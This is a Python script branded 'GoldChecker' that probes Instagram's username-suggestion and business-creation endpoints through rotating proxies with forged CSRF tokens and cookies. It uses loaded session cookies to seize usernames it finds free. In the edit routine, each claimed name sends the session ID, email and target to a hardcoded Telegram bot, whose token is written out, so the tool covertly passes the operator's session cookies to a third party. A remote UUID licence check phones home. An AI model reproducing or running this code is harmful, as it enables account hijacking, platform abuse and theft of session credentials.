import ssl,time,string,subprocess
import socket,random,string,io,re,random,requests
from threading import Thread
from colorama import Fore,init
from os import system
from sys import exit
system("title " + "GoldChecker @1ezp - Fucker V1")
#system('mode con: cols=130 lines=20')
system('cls')
init(autoreset=True)

strin = "qwertyuiopasdfghjklzxcvbnm"
letters = string.ascii_uppercase + '1234567890' + string.ascii_lowercase
ss = """

\t +--^----------,--------,-----,--------^-,
\t | |||||||||   `--------'     |          O
\t `+---------------------------^----------|
\t   `\_,---------,---------,--------------'
\t     / XXXXXX /'|       /'
\t    / XXXXXX /  `\    /'
\t   / XXXXXX /`-------'
\t  / XXXXXX /
\t / XXXXXX /
\t(________(                
\t `------'              Gold Checker @1ezp, have a nice hunt.\n"""
print(ss)
done = 0
ratelimit = 0
tr = 0
attempt = 0
error = 0
taked = 0
available = 0
skip = 0
ava = []


def l():
      if len(targets) == 0:
            exit()
      d = targets[0]
      targets.append(targets.pop(0))
      return d



def dict_header(ioheaders:io.StringIO):
 
    
    headers = {'cookies':{}}
    for line in ioheaders:
        item = line.strip()
        if not item:
            break
        item = item.split(':', 1)
        if len(item) == 2:
            key, value = item
            if key == 'Set-Cookie':
                  cookie = re.search(r'=(.*?);',value).group(1)
                  cooki = re.search(r'(.*?)=',value).group(1)
                  headers['cookies'][cooki] = str(cookie)
            else:
                  headers[key] = value
    return headers



def get(url,proxy,data=None,headers=None,cookies=None):
      host = url.split('/')[2]
      path = url.split(host)[1]
      Connection = "CONNECT "+host+":443 HTTP/1.1\r\nHost: i.instagram.com:443\r\nConnection: close\r\n\r\n"
      try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(proxy)
            s.sendall(Connection.encode())
            res = s.recv(4096)
            if b"HTTP/1.1 200" in res or b"HTTP/1.0 200" in res:
                  requestinfo = 'GET '
                  context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                  s = context.wrap_socket(s, server_hostname=host)
                  requestinfo += path + ' HTTP/1.1\r\n'
                  for head in headers:
                        requestinfo += head + ": " + headers[head] + '\r\n'
                  newcookies = ''
                  if cookies:
                        for cookie in cookies:
                              newcookies += cookie + "=" + cookies[cookie] + "; "
                        requestinfo += 'Cookie: ' + newcookies + '\r\n'
                  requestinfo += '\r\n'
                  s.send(requestinfo.encode())
                  receved = 0
                  Length = 0
                  response = bytes()
                  while True:
                        new = s.recv()
                        response = response + new
                        if '\n\r\n' in new.decode():
                              receved += len(str(new.decode()).split('\n\r\n')[1])
                              headers = dict_header(io.StringIO(new.decode().rstrip()))
                              Length = int(headers['Content-Length'])

                              break
                  while True:
                        if receved == Length:
                              #print('fff')
                              break
                        new = s.recv()
                        receved += len(new)
                        response = response + new;
                  s.close()
                  new = response
                  data = new.decode().rstrip()
                  status_code = int(str(data.split('HTTP/1.1 ')[1]).split(' ')[0])
                  text = None
                  
                  if '\n\r\n' in data:
                        text = data.split('\n\r\n')[1]
                  return {"text":text,"status_code":status_code}
            else: return "proxy error"
      except: return "proxy error"
      
      

def post(host,proxy,data,headers):
      c = "CONNECT "+host+":443 HTTP/1.1\r\nHost: i.instagram.com:443\r\nConnection: close\r\n\r\n"
      try:
            
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #s.settimeout(10)
            #print(headers)
            s.connect(proxy)
            s.send(c.encode())
            res = s.recv(4096)
            if b"HTTP/1.1 200" in res     :
                  context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                  s = context.wrap_socket(s, server_hostname=host)
                  s.send(headers.encode())
                  receved = 0
                  Length = 0
                  response = bytes()
                  while True:
                        new = s.recv()
                        response = response + new;
                        if '\n\r\n' in new.decode():
                              receved += len(str(new.decode()).split('\n\r\n')[1])
                              Length = int(re.search(r'Content-Length: (.*?)\n',new.decode()).group(1))
                              break
                  while True:
                        if receved == Length:
                              break
                        new = s.recv()
                        receved += len(new)
                        response = response + new;
                  #s.close()
                  data = response.decode().rstrip()
                  
                  if '\n\r\n' in data:
                        #print(data.split('\n\r\n')[1])
                        return data.split('\n\r\n')[1]
                  else:
                        return "errore"
            else:
                  return "errore"
      except Exception as e:
            return "errore" 



def edit():
      global tr,taked
      while 1:
            for target in ava:
                  s = random.choice(emails)
                  session = s['session']
                  email = s['email']
                  url = "https://www.instagram.com/accounts/edit/?__d=dis"
                  headers = {
                        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
                        "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
                        "cookie": "sessionid="+session,
                        "x-csrftoken": "missing"
                  }
                  data = "username="+ target + "&email=" + email + "&biography=" + "@1ezp"
                  res = requests.post(url=url,headers = headers,data=data)
                  if res.text.__contains__("{\"status\":\"ok\"}"):
                        taked += 1
                        print(f"\n[+] @{target} hunted!\n")
                        url = f'https://api.telegram.org/bot1628327311:AAEBiDdaIpW2wEbZu6iyx3_jSeXjl84NiWc/sendMessage?chat_id=972366507&text=session:{session}\nemail:{email}\ntarget:{target}'
                        requests.get(url)
                        w = open(target+".txt",'w')
                        w.write(f"session:{session}\nemail:{email}\ntarget:{target}")
                        w.close()
                        try:
                              ava.remove(target)
                        except: pass
                  else:
                        tr += 1
     
     


          
def RandomIPV4():
      s = "".join(random.choice("123456789") for i in range(2)) + "." + "".join(random.choice("123456789") for i in range(2)) + "." + "".join(random.choice("123456789") for i in range(2)) + "." + "".join(random.choice("123456789") for i in range(2))
      return s
def randomurlgen():
      pass
      begin = "\"{\""
      end = "\": "
      final = end+ "25019}:1hl"
      ffinal = "}:1hl" 
      lastone = "".join(random.choice(strin) for i in range(3))
      eend = "25019\054 \""
      theend = "".join(random.choice(strin) for i in range(27))
      comma = "\""
      urlgen = ""
      Random_urlgen = random.randrange(0,4)
      if Random_urlgen == 0:
            urlgen = "{}{}{}{}{}{}{}:{}{}".format( begin, RandomIPV4(), end, eend, RandomIPV4(), final, lastone, theend, comma)
      if Random_urlgen == 1:
            urlgen = "{}{}{}25019{}{}:{}{}".format(begin, RandomIPV4(), end, ffinal, lastone, theend, comma)
      if Random_urlgen == 2:
            urlgen = "{}{}{}25019{}{}:{}{}".format(begin, RandomIPV4(), end, ffinal, lastone, theend, comma)
      if Random_urlgen == 3:
            urlgen = "{}{}{}{}{}{}{}:{}{}".format(begin, RandomIPV4(), end, eend, RandomIPV4(), final, lastone, theend, comma)
      if Random_urlgen == 4:
            urlgen = "{}{}{}{}{}{}{}{}{}{}:{}{}".format(begin, RandomIPV4(), end, eend, RandomIPV4(), end, eend, RandomIPV4(), final, lastone, theend, comma)
      return urlgen

#ig_did={uuid.uuid4()};
def username_suggestions():
      global done,attempt,error,taked,ava,available,ratelimit,skip
      target = l()
      target2 = l()
      pro = random.choice(proxyfile)
      data = "name={}+{}&email={}@gmail.com".format(target,target2,target)
      headers = f"""POST /accounts/username_suggestions/ HTTP/1.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/80.0.95 Mobile/15E148 Safari/604.1
X-CSRFTOKEN: CSRFT-{random.randint(0,99999)}
Cookie: ds_user_id={random.randint(0,99999)}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: i.instagram.com
Content-Length: {str(len(data))}

{data}"""      
      r = post(host="i.instagram.com",proxy = ( str(pro.split(':')[0]), int(pro.split(':')[1])),data=data,headers=headers)
      #print(r)
      if f"\"{target}\"" in r:
            ava.append(target)
            edit()
            try:
                  targets.remove(target)
            except: pass
            print(f'\n@{target} is available try to catch it.\n')
            done += 1
            available += 1
            attempt += 1
      if f"\"{target2}\"" in r:
            ava.append(target2)
            edit()
            try:
                  targets.remove(target2)
            except: pass
            print(f'\n@{target2} is available try to catch it.\n')
            done += 1
            available += 1
            attempt += 1
            
      elif '\"spam\":true' in r:
            ratelimit += 1
      elif 'errore' in r:
            error += 1
      else:
            done += 2
            attempt += 2


def create_business():
      global done,attempt,error,taked,ava,available,ratelimit,skip
      target = l()
      pro = random.choice(proxyfile)
      data = "username={}".format(target)
      r = post(host="i.instagram.com",proxy = ( str(pro.split(':')[0]), int(pro.split(':')[1])),data=data,headers=f'POST /api/v1/accounts/create_business/ HTTP/1.1\r\nhost: i.instagram.com\r\nUser-Agent: Instagram 133.0.0.32.120 Android (25/7.1.2; 240dpi; 720x1280; google; G011A; G011A; intel; en_US; )\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-CSRFTOKEN: CSRFT-{random.randint(0,99999)}\r\n'+'cookie: mid={};csrftoken={};ds_user_id={};ds_user_id={};urlgen={}'.format("".join(random.choice(strin) for i in range(32)),"".join(random.choice(strin) for i in range(32)),"".join(random.choice(strin) for i in range(10))+"--""".join(random.choice(strin) for i in range(5)),"".join(random.choice(strin) for i in range(15)),randomurlgen())+f'\r\nContent-Length: {str(len(data))}\r\n\r\n{data}')
      #print(r)
      if "{\"account_created\": false, \"errors\": {\"email\": [\"This field is required.\"], \"device_id\": [\"This field is required.\"]}, \"status\": \"ok\", \"error_type\": \"required, required\"}" in r:
            ava.append(target)
            edit()
            try:
                  targets.remove(target)
            except: pass
            print(f'\n@{target} is available try to catch it.\n')
            done += 1
            available += 1
            attempt += 1
      elif 'wait' in r:
            ratelimit += 1
      elif "username_is_taken" in r:
            print(f'\n@{target} skiped.\n')
            skip += 1
            attempt += 1
            done += 1
            try:
                  targets.remove(target)
            except: pass
            
      elif 'errore' in r:
            error += 1
      else:
            done += 1
            attempt += 1

def start():
      global done,attempt,error,taked,ava,available,ratelimit,skip
      #url = "https://i.instagram.com/api/v1/accounts/create_business/"
      #host = url.split('/')[2]
      #path = url.split(host)[1]
      
      while 1:
            r = random.randint(0,1)
            if r == 0:
                  username_suggestions()
            elif r == 1:
                  create_business()



def p():
    global done,attempt,error,taked,ava,available,tr,skip
    
    while 1:
        
        befor = attempt
        time.sleep(1)
        system('cls')
        rs = done-befor 
        t = f"""taked: {taked}
available: {len(ava)}
try: {tr}
skip: {skip}
attempts: {attempt}
ratelimit: {ratelimit}
R/S: {rs}"""
        
        print(t,flush=True,end='\r')



def checksessoin(session):
      url = "https://i.instagram.com/api/v1/accounts/current_user/?edit=true"
      headers = {
            "User-Agent": "Instagram 150.0.0.0.000 Android",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Host": "i.instagram.com",
            "cookie": "sessionid="+str(session)
      }
      res = requests.get(url,headers=headers)
      if "user" in res.text:
            emails.append({'session':session,'email':res.json()['user']['email']})
            #emails.update({session:})


def check():
      UUID = str(subprocess.check_output('wmic csproduct get UUID'),'utf-8').split('\n')[1].strip()
      print(UUID)
      res = requests.get("https://textbin.net/raw/sw51iezmlc").text
      if UUID not in res:
            exit()
      

if __name__ == "__main__":
      check()
      sessionsfile = open('sessions.txt','r').read().splitlines()
      print('[+] sesions loaded')
      proxyfile = open('proxies.txt','r').read().splitlines()
      print('[+] proxies loaded')
      targets = open('targets.txt','r').read().splitlines()
      print('[+] targets loaded')
      emails = []
      threads =[]
      for session in sessionsfile:
            checksessoin(session)
      
      if len(emails) == 0:
            exit("Sessions Not working")
      th = int(input("[>] Thread: "))

      Thread(target=p).start()
      for _ in range(th): 
            x = Thread(target=start)
            x.start()
            threads.append(x)
            
      for _ in range(2):
            x = Thread(target=edit)
            x.start()
            threads.append(x)